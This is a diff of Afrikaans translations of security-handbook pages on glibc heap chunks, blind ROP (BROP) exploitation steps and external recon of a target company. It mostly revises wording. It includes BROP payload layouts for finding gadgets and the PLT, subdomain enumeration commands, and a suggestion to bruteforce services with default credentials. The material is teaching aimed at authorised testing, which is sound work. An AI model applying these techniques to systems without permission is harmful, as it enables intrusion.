// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||||
|
|
||||||
|
@ -155,7 +155,7 @@ struct malloc_chunk* bk_nextsize;
|
||||||
|
|
||||||
typedef struct malloc_chunk* mchunkptr;
|
typedef struct malloc_chunk* mchunkptr;
|
||||||
```
|
```
|
||||||
Soos voorheen opgemerk, het hierdie stukke ook 'n paar metadata, baie goed voorgestel in hierdie beeld:
|
Soos voorheen kommentaar gelewer, het hierdie stukke ook 'n paar metadata, baie goed verteenwoordig in hierdie beeld:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
@ -177,7 +177,7 @@ Boonop, wanneer beskikbaar, word die gebruikersdata ook gebruik om 'n paar data
|
||||||
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Let op hoe om die lys op hierdie manier te verbind die behoefte aan 'n array waar elke enkele stuk geregistreer word, voorkom.
|
Let op hoe die lys op hierdie manier te verbind die behoefte aan 'n array waar elke enkele stuk geregistreer word, voorkom.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Stuk Wysers
|
### Stuk Wysers
|
||||||
|
@ -412,7 +412,7 @@ Stel 'n breekpunt aan die einde van die hooffunksie en kom ons vind uit waar die
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor te kyk, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
|
Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor dit te kontroleer, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
|
||||||
|
|
||||||
Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte uitgelijnd is (in 64-bits masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
|
Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte uitgelijnd is (in 64-bits masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
|
||||||
```
|
```
|
||||||
|
@ -470,12 +470,12 @@ return 0;
|
||||||
|
|
||||||
Deur die vorige voorbeeld te debugeer, is dit moontlik om te sien hoe daar aan die begin slegs 1 arena is:
|
Deur die vorige voorbeeld te debugeer, is dit moontlik om te sien hoe daar aan die begin slegs 1 arena is:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
Dan, na die eerste thread aan te roep, die een wat malloc aanroep, word 'n nuwe arena geskep:
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Dan, na die aanroep van die eerste draad, die een wat malloc aanroep, word 'n nuwe arena geskep:
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
en binne dit kan 'n paar chunks gevind word:
|
en binne dit kan 'n paar chunks gevind word:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
|
@ -35,13 +35,13 @@ Jy kan meer inligting oor hierdie prosesse [hier (BF Forked & Threaded Stack Can
|
||||||
|
|
||||||
### **4. Vind die stop gadget**
|
### **4. Vind die stop gadget**
|
||||||
|
|
||||||
Hierdie gadget laat basies toe om te bevestig dat iets interessant deur die ROP gadget uitgevoer is omdat die uitvoering nie gecrash het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
|
Hierdie gadget laat basies toe om te bevestig dat iets interessant uitgevoer is deur die ROP gadget omdat die uitvoering nie gebroke het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is geposisioneer aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
|
||||||
|
|
||||||
### **5. Vind BROP gadget**
|
### **5. Vind BROP gadget**
|
||||||
|
|
||||||
Hierdie tegniek gebruik die [**ret2csu**](ret2csu.md) gadget. En dit is omdat as jy toegang tot hierdie gadget in die middel van sommige instruksies kry, jy gadgets kry om **`rsi`** en **`rdi`** te beheer:
|
Hierdie tegniek gebruik die [**ret2csu**](ret2csu.md) gadget. En dit is omdat as jy toegang tot hierdie gadget in die middel van 'n paar instruksies kry, jy gadgets kry om **`rsi`** en **`rdi`** te beheer:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||||
|
|
||||||
Hierdie sou die gadgets wees:
|
Hierdie sou die gadgets wees:
|
||||||
|
|
||||||
|
@ -52,25 +52,25 @@ Let op hoe dit met daardie gadgets moontlik is om **2 argumente** van 'n funksie
|
||||||
|
|
||||||
Ook, let op dat die ret2csu gadget 'n **baie unieke handtekening** het omdat dit 6 registers van die stapel gaan pop. SO om 'n ketting soos:
|
Ook, let op dat die ret2csu gadget 'n **baie unieke handtekening** het omdat dit 6 registers van die stapel gaan pop. SO om 'n ketting soos:
|
||||||
|
|
||||||
`'A' * offset + kanary + rbp + ADDR + 0xdead * 6 + STOP` te stuur.
|
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` te stuur.
|
||||||
|
|
||||||
As die **STOP uitgevoer word**, beteken dit basies dat 'n **adres wat 6 registers** van die stapel pop, gebruik is. Of dat die adres wat gebruik is ook 'n STOP adres was.
|
As die **STOP uitgevoer word**, beteken dit basies dat 'n **adres wat 6 registers** van die stapel pop, gebruik is. Of dat die adres wat gebruik is ook 'n STOP adres was.
|
||||||
|
|
||||||
Om hierdie **laaste opsie te verwyder** word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP gadget uitvoer om te bevestig dat die vorige een 6 registers gepop het nie:
|
Om hierdie **laaste opsie te verwyder**, word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP gadget uitvoer om te bevestig dat die vorige een 6 registers gepop het nie:
|
||||||
|
|
||||||
`'A' * offset + kanary + rbp + ADDR`
|
`'A' * offset + canary + rbp + ADDR`
|
||||||
|
|
||||||
As jy die adres van die ret2csu gadget ken, is dit moontlik om die **adres van die gadgets om `rsi` en `rdi` te beheer** af te lei.
|
As jy die adres van die ret2csu gadget ken, is dit moontlik om die **adres van die gadgets om `rsi` en `rdi` te beheer** af te lei.
|
||||||
|
|
||||||
### 6. Vind PLT
|
### 6. Vind PLT
|
||||||
|
|
||||||
Die PLT tabel kan van 0x400000 of van die **gelek RIP adres** van die stapel gesoek word (as **PIE** gebruik word). Die **ingevoerde** van die tabel is **geskei deur 16B** (0x10B), en wanneer 'n funksie aangeroep word, crash die bediener nie selfs al is die argumente nie korrek nie. Ook, om die adres van 'n invoer in die **PLT + 6B** te kontroleer crash ook nie nie, aangesien dit die eerste kode is wat uitgevoer word.
|
Die PLT tabel kan van 0x400000 of van die **gelek RIP adres** van die stapel gesoek word (as **PIE** gebruik word). Die **ingevoerde** van die tabel is **geskei deur 16B** (0x10B), en wanneer 'n funksie aangeroep word, crash die bediener nie selfs al is die argumente nie korrek nie. Ook, om die adres van 'n invoer in die **PLT + 6B te kontroleer, crash ook nie** aangesien dit die eerste kode is wat uitgevoer word.
|
||||||
|
|
||||||
Daarom is dit moontlik om die PLT tabel te vind deur die volgende gedrag te kontroleer:
|
Daarom is dit moontlik om die PLT tabel te vind deur die volgende gedrag te kontroleer:
|
||||||
|
|
||||||
* `'A' * offset + kanary + rbp + ADDR + STOP` -> geen crash
|
* `'A' * offset + canary + rbp + ADDR + STOP` -> geen crash
|
||||||
* `'A' * offset + kanary + rbp + (ADDR + 0x6) + STOP` -> geen crash
|
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> geen crash
|
||||||
* `'A' * offset + kanary + rbp + (ADDR + 0x10) + STOP` -> geen crash
|
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> geen crash
|
||||||
|
|
||||||
### 7. Vind strcmp
|
### 7. Vind strcmp
|
||||||
|
|
||||||
|
@ -98,7 +98,7 @@ Onthou dat:
|
||||||
* BROP + 0x9 dui op **`pop RDI; ret;`**
|
* BROP + 0x9 dui op **`pop RDI; ret;`**
|
||||||
* PLT + 0xb dui op 'n oproep na **dl\_resolve**.
|
* PLT + 0xb dui op 'n oproep na **dl\_resolve**.
|
||||||
|
|
||||||
Nadat `strcmp` gevind is, is dit moontlik om **`rdx`** op 'n waarde groter as 0 in te stel.
|
Nadat `strcmp` gevind is, is dit moontlik om **`rdx`** op 'n waarde groter as 0 te stel.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Let daarop dat gewoonlik `rdx` reeds 'n waarde groter as 0 sal huisves, so hierdie stap mag dalk nie nodig wees nie.
|
Let daarop dat gewoonlik `rdx` reeds 'n waarde groter as 0 sal huisves, so hierdie stap mag dalk nie nodig wees nie.
|
||||||
|
@ -106,9 +106,9 @@ Let daarop dat gewoonlik `rdx` reeds 'n waarde groter as 0 sal huisves, so hierd
|
||||||
|
|
||||||
### 8. Vind Write of gelykwaardig
|
### 8. Vind Write of gelykwaardig
|
||||||
|
|
||||||
Laastens, is 'n gadget nodig wat data uit te voer om die binêre uit te voer. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 in te stel.**
|
Laastens, is 'n gadget nodig wat data eksterneer om die binêre te eksterneer. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 te stel.**
|
||||||
|
|
||||||
Daar is 3 algemene funksies wat vir hierdie misbruik kan word:
|
Daar is 3 algemene funksies wat vir hierdie doel misbruik kan word:
|
||||||
|
|
||||||
* `puts(data)`
|
* `puts(data)`
|
||||||
* `dprintf(fd, data)`
|
* `dprintf(fd, data)`
|
||||||
|
@ -116,7 +116,7 @@ Daar is 3 algemene funksies wat vir hierdie misbruik kan word:
|
||||||
|
|
||||||
Echter, die oorspronklike artikel noem slegs die **`write`** een, so kom ons praat daaroor:
|
Echter, die oorspronklike artikel noem slegs die **`write`** een, so kom ons praat daaroor:
|
||||||
|
|
||||||
Die huidige probleem is dat ons nie weet **waar die write funksie binne die PLT is nie** en ons weet nie **'n fd nommer om die data na ons soket te stuur nie**.
|
Die huidige probleem is dat ons nie weet **waar die write funksie in die PLT is nie** en ons weet nie **'n fd nommer om die data na ons soket te stuur nie**.
|
||||||
|
|
||||||
Echter, ons weet **waar die PLT tabel is** en dit is moontlik om write te vind gebaseer op sy **gedrag**. En ons kan **verskeie verbindings** met die bediener maak en 'n **hoë FD** gebruik in die hoop dat dit met sommige van ons verbindings ooreenstem.
|
Echter, ons weet **waar die PLT tabel is** en dit is moontlik om write te vind gebaseer op sy **gedrag**. En ons kan **verskeie verbindings** met die bediener maak en 'n **hoë FD** gebruik in die hoop dat dit met sommige van ons verbindings ooreenstem.
|
||||||
|
|
||||||
|
|
|
@ -15,15 +15,15 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## Bate ontdekkings
|
## Bate ontdekkings
|
||||||
|
|
||||||
> Jy is gesê dat alles wat aan 'n maatskappy behoort binne die omvang is, en jy wil uitvind wat hierdie maatskappy eintlik besit.
|
> Jy is gesê dat alles wat aan 'n sekere maatskappy behoort binne die omvang is, en jy wil uitvind wat hierdie maatskappy eintlik besit.
|
||||||
|
|
||||||
Die doel van hierdie fase is om al die **maatskappye wat deur die hoofmaatskappy besit word** te verkry en dan al die **bates** van hierdie maatskappye. Om dit te doen, gaan ons:
|
Die doel van hierdie fase is om al die **maatskappye wat deur die hoofmaatskappy besit word** te verkry en dan al die **bates** van hierdie maatskappye. Om dit te doen, gaan ons:
|
||||||
|
|
||||||
|
@ -42,7 +42,7 @@ Een opsie is om [https://www.crunchbase.com/](https://www.crunchbase.com) te bes
|
||||||
|
|
||||||
### **ASNs**
|
### **ASNs**
|
||||||
|
|
||||||
'n autonome stelselnommer (**ASN**) is 'n **unieke nommer** wat aan 'n **autonome stelsel** (AS) deur die **Internet Assigned Numbers Authority (IANA)** toegeken word.\
|
'n Outonome stelselnommer (**ASN**) is 'n **unieke nommer** wat aan 'n **outonome stelsel** (AS) deur die **Internet Assigned Numbers Authority (IANA)** toegeken word.\
|
||||||
'n **AS** bestaan uit **blokke** van **IP adresse** wat 'n duidelik gedefinieerde beleid het vir toegang tot eksterne netwerke en word deur 'n enkele organisasie bestuur, maar kan uit verskeie operateurs bestaan.
|
'n **AS** bestaan uit **blokke** van **IP adresse** wat 'n duidelik gedefinieerde beleid het vir toegang tot eksterne netwerke en word deur 'n enkele organisasie bestuur, maar kan uit verskeie operateurs bestaan.
|
||||||
|
|
||||||
Dit is interessant om te vind of die **maatskappy enige ASN toegeken het** om sy **IP-reekse** te vind. Dit sal interessant wees om 'n **kwesbaarheidstoets** teen al die **gasheer** binne die **omvang** uit te voer en **te soek na domeine** binne hierdie IPs.\
|
Dit is interessant om te vind of die **maatskappy enige ASN toegeken het** om sy **IP-reekse** te vind. Dit sal interessant wees om 'n **kwesbaarheidstoets** teen al die **gasheer** binne die **omvang** uit te voer en **te soek na domeine** binne hierdie IPs.\
|
||||||
|
@ -53,7 +53,7 @@ Jy kan **soek** volgens maatskappy **naam**, volgens **IP** of volgens **domein*
|
||||||
amass intel -org tesla
|
amass intel -org tesla
|
||||||
amass intel -asn 8911,50313,394161
|
amass intel -asn 8911,50313,394161
|
||||||
```
|
```
|
||||||
Ook, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomein-opsomming aggregeer en som automatisch ASN's aan die einde van die skandering op.
|
Ook, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomein-opsomming aggregeer en som outomaties ASN's aan die einde van die skandering op.
|
||||||
```bash
|
```bash
|
||||||
bbot -t tesla.com -f subdomain-enum
|
bbot -t tesla.com -f subdomain-enum
|
||||||
...
|
...
|
||||||
|
@ -76,7 +76,7 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
|
||||||
### **Soek na kwesbaarhede**
|
### **Soek na kwesbaarhede**
|
||||||
|
|
||||||
Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheid skandeerders** (Nessus, OpenVAS) oor al die gasheer loods.\
|
Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheid skandeerders** (Nessus, OpenVAS) oor al die gasheer loods.\
|
||||||
Ook kan jy 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop, te pentest.\
|
Ook, jy kan 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **of gebruik dienste soos** shodan **om** oop poorte **te vind en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop te pentest.\
|
||||||
**Ook, dit kan die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** dienste te bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
**Ook, dit kan die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** dienste te bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||||
|
|
||||||
## Domeine
|
## Domeine
|
||||||
|
@ -96,13 +96,13 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||||
```
|
```
|
||||||
For this to work, the administrator has to enable manually the PTR.\
|
Vir dit om te werk, moet die administrateur handmatig die PTR inskakel.\
|
||||||
You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com)
|
Jy kan ook 'n aanlyn hulpmiddel vir hierdie inligting gebruik: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||||
|
|
||||||
### **Reverse Whois (loop)**
|
### **Reverse Whois (lus)**
|
||||||
|
|
||||||
Inside a **whois** you can find a lot of interesting **information** like **organisasie naam**, **adres**, **e-pos**, telefoon nommers... Maar wat nog meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **omgekeerde whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
|
Binne 'n **whois** kan jy baie interessante **inligting** vind soos **organisasie naam**, **adres**, **e-posse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **reverse whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
|
||||||
You can use online tools like:
|
Jy kan aanlyn hulpmiddels soos gebruik:
|
||||||
|
|
||||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
|
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
|
||||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis**
|
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis**
|
||||||
|
@ -112,17 +112,17 @@ You can use online tools like:
|
||||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nie Gratis (slegs **100 gratis** soektogte)
|
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nie Gratis (slegs **100 gratis** soektogte)
|
||||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Nie Gratis
|
* [https://www.domainiq.com/](https://www.domainiq.com) - Nie Gratis
|
||||||
|
|
||||||
You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
|
Jy kan hierdie taak outomatiseer met [**DomLink** ](https://github.com/vysecurity/DomLink)(vereis 'n whoxy API-sleutel).\
|
||||||
You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
Jy kan ook 'n paar outomatiese reverse whois ontdekking uitvoer met [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||||
|
|
||||||
**Note that you can use this technique to discover more domain names every time you find a new domain.**
|
**Let daarop dat jy hierdie tegniek kan gebruik om meer domeinnames te ontdek elke keer as jy 'n nuwe domein vind.**
|
||||||
|
|
||||||
### **Trackers**
|
### **Trackers**
|
||||||
|
|
||||||
If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
|
As jy die **dieselfde ID van die dieselfde tracker** op 2 verskillende bladsye vind, kan jy veronderstel dat **albei bladsye** **deur dieselfde span bestuur word**.\
|
||||||
For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
|
Byvoorbeeld, as jy dieselfde **Google Analytics ID** of dieselfde **Adsense ID** op verskeie bladsye sien.
|
||||||
|
|
||||||
There are some pages and tools that let you search by these trackers and more:
|
Daar is 'n paar bladsye en hulpmiddels wat jou toelaat om deur hierdie trackers en meer te soek:
|
||||||
|
|
||||||
* [**Udon**](https://github.com/dhn/udon)
|
* [**Udon**](https://github.com/dhn/udon)
|
||||||
* [**BuiltWith**](https://builtwith.com)
|
* [**BuiltWith**](https://builtwith.com)
|
||||||
|
@ -132,7 +132,7 @@ There are some pages and tools that let you search by these trackers and more:
|
||||||
|
|
||||||
### **Favicon**
|
### **Favicon**
|
||||||
|
|
||||||
Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it:
|
Het jy geweet dat ons verwante domeine en subdomeine aan ons teiken kan vind deur na dieselfde favicon ikoon hash te soek? Dit is presies wat die [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) hulpmiddel gemaak deur [@m4ll0k2](https://twitter.com/m4ll0k2) doen. Hier is hoe om dit te gebruik:
|
||||||
```bash
|
```bash
|
||||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||||
|
@ -346,7 +346,7 @@ Jy kan 'n **vergelyking** van baie van hierdie gereedskap hier vind: [https://bl
|
||||||
|
|
||||||
### **DNS Brute force**
|
### **DNS Brute force**
|
||||||
|
|
||||||
Kom ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te brute-force met moontlike subdomeinname.
|
Kom ons probeer om nuwe **subdomeine** te vind deur DNS-bedieners te brute-forseer met moontlike subdomeinname.
|
||||||
|
|
||||||
Vir hierdie aksie sal jy 'n paar **gewone subdomein woordlyste soos** nodig hê:
|
Vir hierdie aksie sal jy 'n paar **gewone subdomein woordlyste soos** nodig hê:
|
||||||
|
|
||||||
|
@ -356,7 +356,7 @@ Vir hierdie aksie sal jy 'n paar **gewone subdomein woordlyste soos** nodig hê:
|
||||||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||||
|
|
||||||
En ook IP's van goeie DNS-resolvers. Om 'n lys van vertroude DNS-resolvers te genereer, kan jy die resolvers aflaai van [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) en [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) gebruik om hulle te filter. Of jy kan gebruik maak van: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
En ook IP's van goeie DNS-resolvers. Om 'n lys van vertroude DNS-resolvers te genereer, kan jy die resolvers van [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) aflaai en [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) gebruik om hulle te filter. Of jy kan gebruik maak van: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||||
|
|
||||||
Die mees aanbevole gereedskap vir DNS brute-force is:
|
Die mees aanbevole gereedskap vir DNS brute-force is:
|
||||||
|
|
||||||
|
@ -390,12 +390,12 @@ Nadat jy subdomeine gevind het met behulp van oop bronne en brute-forcing, kan j
|
||||||
```bash
|
```bash
|
||||||
cat subdomains.txt | dnsgen -
|
cat subdomains.txt | dnsgen -
|
||||||
```
|
```
|
||||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Gegewe die domeine en subdomeine genereer permutasies.
|
* [**goaltdns**](https://github.com/subfinder/goaltdns): Gegee die domeine en subdomeine genereer permutasies.
|
||||||
* Jy kan goaltdns permutasies **woordlys** in [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) kry.
|
* Jy kan goaltdns permutasies **woordlys** kry [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||||
```bash
|
```bash
|
||||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||||
```
|
```
|
||||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Gegewe die domeine en subdomeine genereer permutasies. As geen permutasie-lêer aangedui is nie, sal gotator sy eie gebruik.
|
* [**gotator**](https://github.com/Josue87/gotator)**:** Gegewe die domeine en subdomeine genereer permutasies. As geen permutasie-lêer aangedui is nie, sal gotator sy eie een gebruik.
|
||||||
```
|
```
|
||||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||||
```
|
```
|
||||||
|
@ -410,7 +410,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||||
```
|
```
|
||||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein, **genereer dit nuwe potensiële subdomeinnames** gebaseer op aangeduidde patrone om te probeer om meer subdomeine te ontdek.
|
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein, **genereer dit nuwe potensiële subdomeinnaam** gebaseer op aangeduide patrone om te probeer om meer subdomeine te ontdek.
|
||||||
|
|
||||||
#### Slim permutasiegenerasie
|
#### Slim permutasiegenerasie
|
||||||
|
|
||||||
|
